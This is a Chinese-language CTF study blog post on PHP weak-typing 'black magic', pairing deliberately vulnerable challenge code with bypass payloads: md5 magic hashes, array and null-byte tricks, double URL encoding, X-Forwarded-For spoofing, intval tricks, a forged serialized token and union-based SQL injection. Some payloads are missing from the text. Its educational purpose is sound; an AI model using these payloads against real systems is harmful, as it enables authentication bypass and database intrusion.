PHP 入门基础漏洞
0x01 前言 这篇文章还是讲一讲黑魔法为主。基于 php_bugs 来学习吧,也听一些师傅说了,如果不是为了打 CTF,根本没必要学 PHP 了,今天是 2022-8-29;正好 Java 学不进去,过一遍 PHP
0x02 PHP 基础函数与特性 file_get_contents file_get_contents() 把整个文件读入一个字符串中。
1 2 3 <?php echo file_get_contents ("test.txt" ); ?>
上面的代码将输出:
1 This is a test file with test text.
isset isset() 函数用于检测变量是否已设置并且非 NULL。
语法 1 bool isset ( mixed $var [, mixed $... ] )
参数说明:
如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $var = '' ; if (isset ($var )) { echo "变量已设置。" . PHP_EOL; } $a = "test" ; $b = "anothertest" ; var_dump (isset ($a )); var_dump (isset ($a , $b )); unset ($a ); var_dump (isset ($a )); var_dump (isset ($a , $b )); $foo = NULL ;var_dump (isset ($foo ));
返回值 如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
extract() 函数从数组中将变量导入到当前的符号表。
语法 1 extract (_array,extract_rules,prefix_)
trim 移除字符串两侧的字符(”Hello” 中的 “He”以及 “World” 中的 “d!”):
1 <?php $str = "Hello World!" ; echo $str . PHP_EOL; echo trim ($str ,"Hed!" ); ?>
ereg/preg_match 1 **mb_ereg**(字符串`$pattern `,字符串`$string `,数组 `&$matches ` = **`null `**):bool
执行与多字节支持的正则表达式匹配。
返回值是 true 或者 false
strcmp 用法
1 2 3 4 5 6 7 8 9 10 11 12 strcmp (str1, str2) if (str1 < str2) { return < 0 ; } else if (str1 > str2) { return > 0 ; } else { return 0 ; }
意思是,我们如果使用了 strcmp()
函数,就必须要传入两个变量 ———— str1,str2。
如果 str1 < str2
,则返回 < 0;若 str1 > str2
,则返回 > 0;如果两者相等,返回 0。
现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!
当 strcmp()
比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~
0x03 PHP 常见黑魔法
如果要用一句话概括一下黑魔法的成因,我喜欢把它称之为 PHP 原生特点。
在 PHP 当中,我们在类型比较的过程中会产生很多的奇特现象,正是由于这一些奇特现象,会产生一些成功的绕过手段。
1. strcmp 的绕过
Strcmp.php
1 2 3 4 5 6 7 8 <?php define ('FLAG' , 'DrunkCTF{this_is_arrayCompare_flag}' );if (strcmp ($_GET ['flag' ], FLAG) == 0 ) { echo "success, flag:" . FLAG; } ?>
此处 $_GET['flag']
的意思是从 url 中获取到一个名叫 flag 的 GET 参数。
然后来看我们现在要讲的关键函数 strcmp()
它的用法应该是这样的
1 2 3 4 5 6 7 8 9 10 11 12 strcmp (str1, str2) if (str1 < str2) { return < 0 ; } else if (str1 > str2) { return > 0 ; } else { return 0 ; }
意思是,我们如果使用了 strcmp()
函数,就必须要传入两个变量 ———— str1,str2。
如果 str1 < str2
,则返回 < 0;若 str1 > str2
,则返回 > 0;如果两者相等,返回 0。
现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!
当 strcmp()
比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~
绕过手段我们先讲 payload,再来讲原理;payload:
成功,如图
原理很简单;?flag[]=0
的意思也就是,我传入的变量名为 flag,但是这个 flag 是一个数组类型的变量,数组怎么可能可以和字符串比较呢?所以此处比较出错,成功返回 NULL,也就是返回 0
2. md5 比较绕过 题目代码如下:
1 2 3 4 5 6 <?php define ('FLAG' , 'DrunkCTF{you_bypass_md5!}' ); if (($_GET ['s1' ]) != $_GET ['s2' ] && md5 ($_GET ['s1' ]) == $_GET ['s2' ]) { echo "success, flag is :" . FLAG; } ?>
简单来说,我们的逻辑就是 s1 和 s2 不能相等,但是它们的 md5 值要相等;于是就有了如下两种绕过手段。
绕过一 用科学计数法绕过
‘0e123456789’ == ‘0e987654321’ == 0
以下值在md5加密后以0E开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
0e215962017(这个用的非常多
payload 如下
1 md5.php?s1=QNKCDZO&s2=240610708
绕过二 通过数组绕过,也叫数组 trick
原理:
1 md5 ([1 ,2 ,3 ]) == md5 ([4 ,5 ,6 ]) == NULL
所以我们的 payload:
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $flag ='xxx' ;extract ($_GET ); if (isset ($shiyan )) { $content =trim (file_get_contents ($flag )); if ($shiyan ==$content ) { echo 'ctf{xxx}' ; } else { echo 'Oh.no' ; } } ?>
这里需要实现$shiyan==$content
,$content
来源于file_get_contents($flag)
,而这个file_get_contents函数是把文件的信息打印出来,我们这个flag是个变量,他取值必定不是文件名,因此这里content变量的值为空,此时无论怎么写flag,content都为空,我们只需要保证shiyan也为空就可以,构造payload如下
4. 绕过过滤的空白字符 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php show_source (__FILE__ ); $info = "" ; $req = [];$flag ="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" ; ini_set ("display_error" , false ); error_reporting (0 ); if (!isset ($_GET ['number' ])){ header ("hint:26966dc52e85af40f59b4fe73d8c323a.txt" ); die ("have a fun!!" ); } foreach ([$_GET , $_POST ] as $global_var ) { foreach ($global_var as $key => $value ) { $value = trim ($value ); is_string ($value ) && $req [$key ] = addslashes ($value ); } } function is_palindrome_number ($number ) { $number = strval ($number ); $i = 0 ; $j = strlen ($number ) - 1 ; while ($i < $j ) { if ($number [$i ] !== $number [$j ]) { return false ; } $i ++; $j --; } return true ; } if (is_numeric ($_REQUEST ['number' ])) { $info ="sorry, you cann't input a number!" ; } elseif ($req ['number' ]!=strval (intval ($req ['number' ]))) { $info = "number must be equal to it's integer!! " ; } else { $value1 = intval ($req ["number" ]); $value2 = intval (strrev ($req ["number" ])); if ($value1 !=$value2 ){ $info ="no, this is not a palindrome number!" ; } else { if (is_palindrome_number ($req ["number" ])){ $info = "nice! {$value1} is a palindrome number!" ; } else { $info =$flag ; } } } echo $info ;
我们这里可以分段代码审计一下
首先告诉我们需要传进去一个 GET 请求的参数,名为 number;
1 2 3 4 5 6 7 if (!isset ($_GET ['number' ])){ header ("hint:26966dc52e85af40f59b4fe73d8c323a.txt" ); die ("have a fun!!" ); }
往下看
1 2 3 4 5 6 7 8 9 10 11 foreach ([$_GET , $_POST ] as $global_var ) { foreach ($global_var as $key => $value ) { $value = trim ($value ); is_string ($value ) && $req [$key ] = addslashes ($value ); } }
这里的代码不难,读取到我们所有的 GET 请求与 POST 请求的参数,进行循环,然后把这个参数里面的空格去掉,这就是过滤空白字符了。
继续往下看 is_palindrome_number()
函数,用来判断是否为回文数。
后续是判断关键,总结一下有以下四个条件
1 2 3 4 1、if(is_numeric($_REQUEST['number'])) 这个条件需要为假,才能继续往下运行 2、要求$req['number']==strval(intval($req['number'])) 3、要求intval($req["number"])==intval(strrev($req["number"]));//strrev函数作用是反转字符串 4、 if(is_palindrome_number($req["number"]))这个条件需要为假,才能输出flag
第一个条件,这里我们不能输入 ?number=1
,要不然进不到后续的代码逻辑上,通过 ?number=%001
可以绕过
针对$req['number']==strval(intval($req['number']))
的话,它这个相当于是不让变量中有字符串,只能有数字时才符合条件,这个是怎么知道的呢,当然是本地测试
1 2 3 4 5 6 7 8 <?php show_source (__FILE__ ); $a =addslashes (trim ($_GET ['a' ])); $b =strval (intval ($a )); var_dump ($a ==$b ); ?>
一般的话肯定考虑一个空格给它绕过,但是这段代码里传入的变量都经过了 trim
函数,trim 函数过滤了很多空白字符
一般的话当然是没办法了,但是这里还有一个%0c
,也就是\f
未被过滤,因此这里我们可以用它来进行绕过,我们本地试也可以发现它是符合条件的
现在来看第三个条件 intval($req["number"])==intval(strrev($req["number"]));
,这个 strrev
函数的作用是反转字符串,这里的话也就是要求数字是回文数,比如 131,这个时候反转一下还是 131,此时就可以满足条件了
来看最后一个,让 if(is_palindrome_number($req["number"]))
条件为假,这个函数定义如下
这个函数当它是回文数时就会正确,因此看似是与条件三矛盾的,但想到还有空白字符,用它的时候同时写回文数,此时是不是就可以成功绕过呢
我们尝试 payload
成功 getflag
5. ereg/preg_match 正则 %00 截断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $flag = "flag" ;if (isset ($_GET ['password' ])) { if (ereg ("^[a-zA-Z0-9]+$" , $_GET ['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen ($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 ) { if (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag ); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
这里的话有三个条件
1 2 3 1 、 if (ereg ("^[a-zA-Z0-9]+$" , $_GET ['password' ]) === TRUE )2 、(strlen ($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 )3 、 if (strpos ($_GET ['password' ], '*-*' ) !== FALSE )
第一个,就是匹配里面要有字母与数字,没事; 第二个比较要动脑,要求我们的密码值大于 9999999,但是不得超过 8 位,你细品; 第三个让password中包含*-*
,这与第一点相悖了,思考这个绕过。
第一个先不考虑,直接看第二个,第二个的绕过很简单,用科学计数法即可。
payload:
第三个条件这里,要与第一个相结合的绕过:
我们知道当语句遇到%00的时候就会认为是休止符,不再往后看,我们如果在password中添加%00,再添加这个字符串,是不是就可以成功绕过呢,我们构造 payload 如下进行尝试
成功绕过
6. sha()函数比较绕过 源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $flag = "flag" ;if (isset ($_GET ['name' ]) and isset ($_GET ['password' ])) { if ($_GET ['name' ] == $_GET ['password' ]) echo '<p>Your password can not be your name!</p>' ; else if (sha1 ($_GET ['name' ]) === sha1 ($_GET ['password' ])) die ('Flag: ' .$flag ); else echo '<p>Invalid password.</p>' ; } else echo '<p>Login first!</p>' ; ?>
这里的逻辑简单看一下,很简单,看着就好绕过;要求是传入的 username 和 password 不能相同,但是它们经过 sha1() 算法之后的值要相同。
sha1 算法加密的同样是字符串,那就意味着当值为数组时同样会报错,如果我们让两个都报错,那么他们肯定是同种类型的 Null,此时就可以绕过,正常的话我们会构造 payload 如下
7. session 验证绕过 源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $flag = "flag" ;session_start (); if (isset ($_GET ['password' ])) { if ($_GET ['password' ] == $_SESSION ['password' ]) die ('Flag: ' .$flag ); else print '<p>Wrong guess.</p>' ; } mt_srand ((microtime () ^ rand (1 , 10000 )) % rand (1 , 10000 ) + rand (1 , 10000 ));?>
条件是 $_GET['password'] == $_SESSION['password']
,这里 session 中的 password 是不存在的,需要我们自己传值,那我们如果不传的话不就为 Null 了吗,此时我们的 GET 传 password 也传个空,此时两者是不是就相等了呢,我们尝试一下
payload:
8. urldecode 二次编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (eregi ("hackerDJ" ,$_GET ['id' ])) { echo ("<p>not allowed!</p>" ); exit (); } $_GET ['id' ] = urldecode ($_GET ['id' ]);if ($_GET ['id' ] == "hackerDJ" ){ echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } ?>
写的和那啥一样,一塌糊涂,这里我修改了一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $id = $_GET ['id' ];if (preg_match ("hackerDJ" ,$id )) { echo ("<p>not allowed!</p>" ); $flag =false ; } if ($flag === true ) {$m = urldecode ($id );if ($m == "hackerDJ" ){ echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } } ?>
这样逻辑是对的
代码逻辑:获取 GET 请求中的 id 参数,判断 id 参数是否与 “hackerDJ” 相同,如果相同,寄。 如果不相同,继续往下看,判断 url 编码后 的 id 变量是否与 “hackerDJ” 相同,这个地方需要对 id 的值进行二次编码,因为第一次编码传进去的会经过一次解码,所以会编程 hackDJ;所以我们的 payload 如下
1 ?id=%2568%2561%2563%256b%2544%254a
这道题还是有点二,算了,就当是二次编码的一个学习吧。
9. X-Forwarded-For 绕过指定 IP 地址 这个有点意思,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function GetIP ( ) {if (!empty ($_SERVER ["HTTP_CLIENT_IP" ])) $cip = $_SERVER ["HTTP_CLIENT_IP" ]; else if (!empty ($_SERVER ["HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER ["HTTP_X_FORWARDED_FOR" ]; else if (!empty ($_SERVER ["REMOTE_ADDR" ])) $cip = $_SERVER ["REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip ;} $GetIPs = GetIP ();if ($GetIPs =="1.1.1.1" ){echo "Great! flag is ctf{*********}" ;} else {echo "错误!你的IP不在访问列表之内!" ;} ?>
做这道题之前不妨先了解一下HTTP_CLIENT_IP
、X_FORWARDED_FOR
和REMOTE_ADDR
HTTP_CLIENT_IP 是代理服务器发送的HTTP头
1 HTTP_CLIENT_IP 是代理服务器发送的HTTP头,HTTP_CLIENT_IP确实存在于http请求的header里。
X_FORWARDED_FOR
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP
REMOTE_ADDR
表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP
简单的总结一下就是
1 2 3 $_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造) $_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)
尝试伪造 XFF 头来进行绕过
10. intval 函数
int intval(var,base) 的特性
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
intval 四舍五入绕过 源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if ($_GET [id]) { mysql_connect (SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db (SAE_MYSQL_DB); $id = intval ($_GET [id]); $query = @mysql_fetch_array (mysql_query ("select content from ctf2 where id='$id '" )); if ($_GET [id]==1024 ) { echo "<p>no! try again</p>" ; } else { echo ($query [content]); } } ?>
绕如其名
整体看过后,发现重点大致是这几句
1 2 3 1 、$id = intval ($_GET [id]);$query = @mysql_fetch_array (mysql_query ("select content from ctf2 where id='$id '" ));2 、if ($_GET [id]==1024 )
第二个语句是$_GET[id]
不等于1024时才往下执行,但好端端的为什么要提到这个1024呢,往下运行是输出查询结果,这是不是间接的说明id为1024时对应的内容为flag呢,因此我们这里去构造一个1024即可,但等于1024又无法往下运行,这个时候就关注到了查询语句中是$id
,而$id
是intval($_GET[id])
,因此这里就可以用intval的几个特性来绕过了
从官方例子中也可以看出,小数点后不计,那我们这里传值1024.2,在查询时不也是1024吗,而且后面检测是否为1024时还可以绕过检测,因此最终payload为
绕 preg_match 正则 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ("flag.php" );highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } } ?>
0 - 9 都被过滤了,所以要用数组来绕过
payload:
绕某个具体数字 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么
根据这张图绕过
看到这里的话就可以看出payload就有多种构造方法了
1 2 3 4 5 6 7 8 num=4476e123 //这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的 num=4476.1 //计算int值时,后面有小数点会直接舍去 num=0x117c //0x表明是十六进制数,117c是4476的十六进制数 num=010574 //0表明是八进制数,10574是4476的八进制数
payload:
终极绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } } ?>
这道题的话看着几乎是防死了,多过滤了.
,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制
11. 十六进制与数字比较 0x04 结合 SQL 1. token 伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include 'common.php' ; $requset = array_merge ($_GET , $_POST , $_SESSION , $_COOKIE ); class db { public $where ; function __wakeup ( ) { if (!empty ($this ->where)) { $this ->select ($this ->where); } } function select ($where ) { $sql = mysql_query ('select * from user where ' .$where ); return @mysql_fetch_array ($sql ); } } if (isset ($requset ['token' ])) { $login = unserialize (gzuncompress (base64_decode ($requset ['token' ]))); $db = new db (); $row = $db ->select ('user=\'' .mysql_real_escape_string ($login ['user' ]).'\'' ); if ($login ['user' ] === 'ichunqiu' ) { echo $flag ; }else if ($row ['pass' ] !== $login ['pass' ]){ echo 'unserialize injection!!' ; }else { echo "(╯‵□′)╯︵┴─┴ " ; } }else { header ('Location: index.php?error=1' ); } ?>
重点的话有以下几处,分别是输出 flag 的地方
1 2 3 4 if ($login ['user' ] === 'ichunqiu' ) { echo $flag ; }
这就要求 $login['user']
为 ichunqiu
,其次就是它的加密
1 2 3 4 5 6 if (isset ($requset ['token' ])) { $login = unserialize (gzuncompress (base64_decode ($requset ['token' ])));
感觉这个绕过就非常简单了,修改 Cookie 里面的 token 就好了。
写个简单的 EXP 绕一下
1 2 3 4 5 6 7 <?php $a =array (['user' ]==='ichunqiu' );$user =base64_encode (gzcompress (serialize ($a ))); echo $user ; ?>
2. 密码 md5 比较绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php if ($_POST [user] && $_POST [pass]) { $conn = mysql_connect ("********, " *****", " ********"); mysql_select_db(" phpformysql") or die(" Could not select database"); if ($conn ->connect_error) { die(" Connection failed : " . mysql_error($conn )); } //赋值 $user = $_POST [user];$pass = md5($_POST [pass]);//sql语句 // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456 $sql = " select pw from php where user='$user' "; $query = mysql_query($sql );if (!$query ) { printf(" Error : %s\n", mysql_error($conn )); exit(); } $row = mysql_fetch_array($query , MYSQL_ASSOC);//echo $row [" pw"]; if (($row [pw]) && (!strcasecmp($pass , $row [pw]))) { //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 echo " <p>Logged in! Key :************** </p>"; } else { echo(" <p>Log in failure!</p>"); } } ?>
条件是 if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
,而这个 $row[pw]
是从根据SQL语句从数据库中查询出来的,因此前面这个也就是说要在数据库中存在这个 SQL 语句对应的密码,而后面的就是校验了,看你输入的密码与数据库是否匹配,这个时候就想到了 union select 可以自己创一行数据
本地测试如下图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mysql> select * from users where username='' union select 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users ; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+ 13 rows in set (0.00 sec)
从两个查询语句中可以看出,这个union select查询的语句明显是不存在在数据表中的,它取决于我们union select后面输入的东西的
1 2 3 4 5 6 7 mysql> select * from users where username='' union select 1,2,database(); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | security | +----+----------+----------+ 1 row in set (0.00 sec)
那么如果我们用union select的话,这是不是就意味着password可控呢
1 2 3 4 5 6 7 mysql> select * from users where username='' union select 1,2,123456; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 123456 | +----+----------+----------+ 1 row in set (0.00 sec)
此时查询结果,取出password,那肯定就是123456了,由于密码提交的时候有$pass = md5($_POST[pass]);
,所以我们提交123456,到检验时中就变成了e10adc3949ba59abbe56e057f20f883e
(md5加密后的123456),那我们这个时候不就无法做到对应了吗,不过我们是不是可以把md5加密后的密码放到SQL语句中呢,这样比对的时候不就一致了吗,因此构造payload如下
1 user=' union select 1,2,'e10adc3949ba59abbe56e057f20f883e' # &password=123456
3. sql闭合绕过 简单的警号绕过,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php if ($_POST [user] && $_POST [pass]) { $conn = mysql_connect ("*******" , "****" , "****" ); mysql_select_db ("****" ) or die ("Could not select database" ); if ($conn ->connect_error) { die ("Connection failed: " . mysql_error ($conn )); } $user = $_POST [user];$pass = md5 ($_POST [pass]);$sql = "select user from php where (user='$user ') and (pw='$pass ')" ;$query = mysql_query ($sql );if (!$query ) { printf ("Error: %s\n" , mysql_error ($conn )); exit (); } $row = mysql_fetch_array ($query , MYSQL_ASSOC); if ($row ['user' ]=="admin" ) { echo "<p>Logged in! Key: *********** </p>" ; } if ($row ['user' ] != "admin" ) { echo ("<p>You are not admin!</p>" ); } } ?>
payload: